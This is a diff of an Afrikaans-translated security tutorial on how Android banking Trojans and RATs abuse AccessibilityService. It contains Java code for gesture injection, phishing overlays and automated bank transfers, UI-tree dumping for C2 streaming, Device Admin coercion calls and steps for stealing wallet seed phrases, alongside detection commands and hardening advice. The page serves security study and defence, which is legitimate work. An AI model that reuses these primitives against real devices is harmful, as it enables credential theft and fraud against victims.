+`AccessibilityService` is geskep om gebruikers met gestremdhede te help om met Android-toestelle te kommunikeer. Ongelukkig kan dieselfde **kragtige automatiserings-API's** (global navigation, text input, gesture dispatch, overlay windows…) deur malware gewapen word om **volle afstandbeheer** oor die handset te verkry _sonder root-bevoegdhede_. -Moderne Android-banking Trojans en Remote-Access-Trojans (RATs) soos **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** en vele ander volg dieselfde resep: +Moderne Android-banking-Trojans en Remote-Access-Trojans (RATs) soos **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** en baie ander volg dieselfde resep: -1. Sosiaal-ingenieurswerk die slagoffer om 'n onwettige toeganklikheidsdiens in te skakel (die *BIND_ACCESSIBILITY_SERVICE* toestemming word beskou as "hoog-risiko" en vereis 'n eksplisiete gebruikersaksie). -2. Maak gebruik van die diens om -* elke UI-gebeurtenis & teks wat op die skerm verskyn, vas te vang, -* sintetiese gebare (`dispatchGesture`) en globale aksies (`performGlobalAction`) in te spuit om enige taak wat die operateur wil, te outomatiseer, -* volle skerm oortjies bo-op wettige apps te teken met die **TYPE_ACCESSIBILITY_OVERLAY** venstertipe (geen `SYSTEM_ALERT_WINDOW` prompt!), -* stilweg addisionele tydsbeperkings te verleen deur op die stelseldialoë op die slagoffer se naam te klik. -3. Gegevens uit te voer of **On-Device-Fraud (ODF)** in werklike tyd uit te voer terwyl die gebruiker na 'n heeltemal normale skerm kyk. +1. Social-engineer die slagoffer om 'n kwaadaardige accessibility service te aktiveer (die *BIND_ACCESSIBILITY_SERVICE* toestemming word as "high-risk" beskou en vereis 'n eksplisiete gebruikersaksie). +2. Benut die service om +* elke UI-gebeurtenis en teks wat op die skerm verskyn vas te vang, +* sintetiese gebare in te spuit (`dispatchGesture`) en global actions (`performGlobalAction`) te gebruik om enige taak wat die operateur wil te outomatiseer, +* volskerm-overlaye bo-op regmatige apps te teken deur die **TYPE_ACCESSIBILITY_OVERLAY** venstertipe te gebruik (geen `SYSTEM_ALERT_WINDOW` prompt nie!), +* stilswyend addisionele runtime-toestemmings te verleen deur op die stelseldialoë namens die slagoffer te klik. +3. Eksfiltreer data of voer **On-Device-Fraud (ODF)** in real-time uit terwyl die gebruiker na 'n heeltemal normale skerm kyk. --- -## Aansoek om die toestemming +## Toestemming aanvra ```xml <!-- AndroidManifest.xml --> <service @@ -34,7 +34,7 @@ android:exported="false"> android:resource="@xml/evil_accessibility_config"/> </service> ``` -Die metgesel XML definieer hoe die vals dialoog sal lyk: +Die begeleidende XML definieer hoe die vals dialoog sal lyk: ```xml <?xml version="1.0" encoding="utf-8"?> <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" @@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/> ``` --- -## Afgeleë UI outomatisering primitiewe +## Afstands-UI-outomatisering primiewe ```java public class EvilService extends AccessibilityService { @Override @@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul } } ``` -Met slegs hierdie twee API's kan 'n aanvaller: -* Die skerm ontgrendel, die banktoepassing oopmaak, deur die UI-boom navigeer en 'n oordragvorm indien. -* Elke toestemmingsdialoog wat verskyn, aanvaar. -* Bykomende APK's via die Play Store-intensie installeer/opdateer. +Met net hierdie twee APIs kan 'n aanvaller: +* Ontsluit die skerm, open die bank-app, navigeer deur sy UI-boom en dien 'n oordragvorm in. +* Aanvaar elke toestemmingsdialoog wat opduik. +* Installeer/opdateer ekstra APKs via die Play Store intent. --- -## Misbruik patrone +## Misbruikpatrone ### 1. Overlay Phishing (Credential Harvesting) -'n Deursigtige of ondoorsee `WebView` word by die vensterbestuurder gevoeg: +'n Deursigtige of ondoorzichtige `WebView` word by die window manager gevoeg: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, @@ -87,41 +87,41 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` -Die slagoffer tik geloofsbriewe in die vals vorm terwyl die agtergrondtoepassing dieselfde gebare ontvang – geen verdagte "teken oor ander toepassings" prompt word ooit gewys nie. +Die slagoffer tik inlogbesonderhede in die vals vorm terwyl die agtergrond-app dieselfde gebare ontvang – geen verdagte "draw over other apps" prompt word ooit gewys nie. -> Gedetailleerde voorbeeld: die *Accessibility Overlay Phishing* afdeling binne die Tapjacking bladsy. +> Gedetaileerde voorbeeld: die *Accessibility Overlay Phishing* afdeling binne die Tapjacking-bladsy. -### 2. Toestel-fraude outomatisering -Malware-families soos **PlayPraetor** handhaaf 'n volgehoue WebSocket-kanaal waar die operateur hoëvlakopdragte kan gee (`init`, `update`, `alert_arr`, `report_list`, …). Die diens vertaal daardie opdragte in die laagvlak gebare hierbo, wat werklike tyd ongeoorloofde transaksies bereik wat maklik multi-faktor-authentisering wat aan daardie spesifieke toestel gekoppel is, omseil. +### 2. Op-toestel bedrog-automatisering +Malware-families soos **PlayPraetor** onderhou 'n volgehoue WebSocket-kanaal waar die operateur hoëvlak-opdragte kan uitreik (`init`, `update`, `alert_arr`, `report_list`, …). Die diens omskakel daardie opdragte na die laevlak-gebare hierbo, wat regstreekse ongemagtigde transaksies moontlik maak en maklik multi-factor-authentication wat aan daardie toestel gekoppel is omseil. -### 3. Skerm streaming & monitering -Deur die **MediaProjection API** met 'n RTMP-kliëntbiblioteek te kombineer, kan die RAT die lewendige framebuffer na `rtmp://<c2>:1935/live/<device_id>` uitsaai, wat die teenstander perfekte situasionele bewustheid gee terwyl die Accessibility enjin die UI dryf. +### 3. Skermstreaming & monitering +Deur die **MediaProjection API** met 'n RTMP client-biblioteek te kombineer, kan die RAT die lewendige framebuffer na `rtmp://<c2>:1935/live/<device_id>` uitsaai, wat die teenstander perfekte situasiebewustheid gee terwyl die Accessibility-enjin die UI bestuur. --- -## PlayPraetor – opdrag & beheer werksvloei +## PlayPraetor – command & control werkvloei -1. **HTTP(S) hartklop** – herhaal oor 'n hard-gecodeerde lys totdat een domein `POST /app/searchPackageName` met die aktiewe C2 antwoordgee. -2. **WebSocket (poort 8282)** – bidireksionele JSON opdragte: -* `update` – druk nuwe conf/APKs -* `alert_arr` – konfigureer oortrek templates +1. **HTTP(S) heartbeat** – iterate oor 'n hard-coded lys totdat een domein `POST /app/searchPackageName` beantwoord met die aktiewe C2. +2. **WebSocket (port 8282)** – wisselrigting JSON-opdragte: +* `update` – stuur nuwe conf/APKs +* `alert_arr` – konfigureer overlay-sjablone * `report_list` – stuur lys van geteikende pakketname -* `heartbeat_web` – hou-leef -3. **RTMP (poort 1935)** – lewendige skerm/video streaming. -4. **REST eksfiltrasie** – +* `heartbeat_web` – keep-alive +3. **RTMP (port 1935)** – lewendige skerm-/video-streaming. +4. **REST exfiltration** – * `/app/saveDevice` (vingerafdruk) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` -* `/app/saveCardPwd` (bank geloofsbriewe) +* `/app/saveCardPwd` (bank creds) -Die **AccessibilityService** is die plaaslike enjin wat daardie wolkopdragte in fisiese interaksies omskakel. +Die **AccessibilityService** is die plaaslike enjin wat daardie wolk-opdragte in fisiese interaksies omskakel. --- -## Opsporing van kwaadwillige toegankelijkheidsdienste +## Opspoor van kwaadwillige accessibility-dienste * `adb shell settings get secure enabled_accessibility_services` -* Instellings → Toeganklikheid → *Afgelaaide dienste* – soek vir toepassings wat **nie** van Google Play is nie. -* MDM / EMM oplossings kan `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) afdwing om sideloaded dienste te blokkeer. +* Settings → Accessibility → *Downloaded services* – kyk vir apps wat **nie** vanaf Google Play is nie. +* MDM / EMM-oplossings kan `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) afdwing om sideloaded dienste te blokkeer. * Analiseer lopende dienste: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" @@ -129,17 +129,104 @@ adb shell dumpsys accessibility | grep "Accessibility Service" --- -## Versterking aanbevelings vir toepassingsontwikkelaars +## Aanbevelings vir verharding vir app-ontwikkelaars -* Merk sensitiewe uitsigte met `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). -* Kombineer `setFilterTouchesWhenObscured(true)` met `FLAG_SECURE` om tik/oortrek kaping te voorkom. -* Ontdek oortreks deur `WindowManager.getDefaultDisplay().getFlags()` of die `ViewRootImpl` API te pols. -* Weier om te werk wanneer `Settings.canDrawOverlays()` **of** 'n nie-vertroude Accessibility diens aktief is. +* Merk sensitiewe views met `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). +* Kombineer `setFilterTouchesWhenObscured(true)` met `FLAG_SECURE` om tap-/overlay-kaping te voorkom. +* Detecteer overlays deur `WindowManager.getDefaultDisplay().getFlags()` of die `ViewRootImpl` API te polleer. +* Weier om te werk wanneer `Settings.canDrawOverlays()` **of** 'n nie-vertroude Accessibility service aktief is. + +--- + +## ATS automation cheat-sheet (Accessibility-driven) +Malware kan 'n bank-app volledig outomatiseer slegs met Accessibility APIs. Generiese primitiewe: +```java +// Helpers inside your AccessibilityService +private List<AccessibilityNodeInfo> byText(String t){ +AccessibilityNodeInfo r = getRootInActiveWindow(); +return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); +} +private boolean clickText(String t){ +for (AccessibilityNodeInfo n: byText(t)){ +if (n.isClickable()) return n.performAction(ACTION_CLICK); +AccessibilityNodeInfo p = n.getParent(); +if (p != null) return p.performAction(ACTION_CLICK); +} +return false; +} +private void inputText(AccessibilityNodeInfo field, String text){ +Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); +field.performAction(ACTION_SET_TEXT, b); +} +private void tap(float x, float y){ +Path p = new Path(); p.moveTo(x,y); +dispatchGesture(new GestureDescription.Builder() +.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); +} +``` +Voorbeeldvloei (Czech → Engelse etikette): +- "Nová platba" (Nuwe betaling) → klik +- "Zadat platbu" (Voer betaling in) → klik +- "Nový příjemce" (Nuwe ontvanger) → klik +- "Domácí číslo účtu" (Inlandse rekeningnommer) → fokus en `ACTION_SET_TEXT` +- "Další" (Volgende) → klik → … "Zaplatit" (Betaal) → klik → voer PIN in + +Valopsie: hardgekodeerde koördinate met `dispatchGesture` wanneer teksopsoek misluk weens pasgemaakte widgets. + +Ook waargeneem: voorafstappe na `check_limit` en `limit` deur na die limiete UI te navigeer en daaglikse limiete te verhoog voor die oordrag. + +## Teksgebaseerde pseudo-skermstreaming +Vir lae-latensie afstandbeheer, in plaas van volledige video-streaming, skryf 'n tekstuele voorstelling van die huidige UI-boom uit en stuur dit herhaaldelik na C2. +```java +private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ +if (n==null) return; +Rect b = new Rect(); n.getBoundsInScreen(b); +CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); +sb.append(indent).append("[").append(cls).append("] ") +.append(txt==null?"":txt).append(" ") +.append(b.toShortString()).append("\n"); +for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb); +} +``` +Dit is die basis vir opdragte soos `txt_screen` (eenmalig) en `screen_live` (deurlopend). + +## Device Admin dwangprimitiewe +Sodra 'n Device Admin-ontvanger geaktiveer is, verhoog hierdie oproepe die geleenthede om credentials te onderskep en beheer te behou: +```java +DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); +ComponentName admin = new ComponentName(this, AdminReceiver.class); + +// 1) Immediate lock +dpm.lockNow(); + +// 2) Force credential change (expire current PIN/password) +dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android + +// 3) Disable biometric unlock to force PIN/pattern entry +int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; +dpm.setKeyguardDisabledFeatures(admin, flags); +``` +Let wel: die presiese beskikbaarheid van hierdie beleidsreëls verskil per Android-weergawe en OEM; valideer die device policy rol (admin vs owner) tydens toetsing. + +## Crypto wallet seed-phrase extraction patterns +Waargenome vloei vir MetaMask, Trust Wallet, Blockchain.com en Phantom: +- Ontsluit met gesteelde PIN (vasgevang via overlay/Accessibility) of die voorsien wallet-wagwoord. +- Navigeer: Settings → Security/Recovery → Reveal/Show recovery phrase. +- Versamel frase via keylogging die text nodes, secure-screen bypass, of screenshot OCR wanneer teks verskuil is. +- Ondersteun meerdere locales (EN/RU/CZ/SK) om selectors te stabiliseer – gee voorkeur aan `viewIdResourceName` waar beskikbaar, val terug op meertalige teksvergelyking. + +## NFC-relay orchestration +Accessibility/RAT modules kan installeer en lanceer 'n toegewyde NFC-relay app (bv., NFSkate) as 'n derde fase en selfs 'n overlay-gids injekteer om die slagoffer deur kaart-aanwesige relay-stappe te lei. + +Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay --- ## Verwysings * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) +* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}}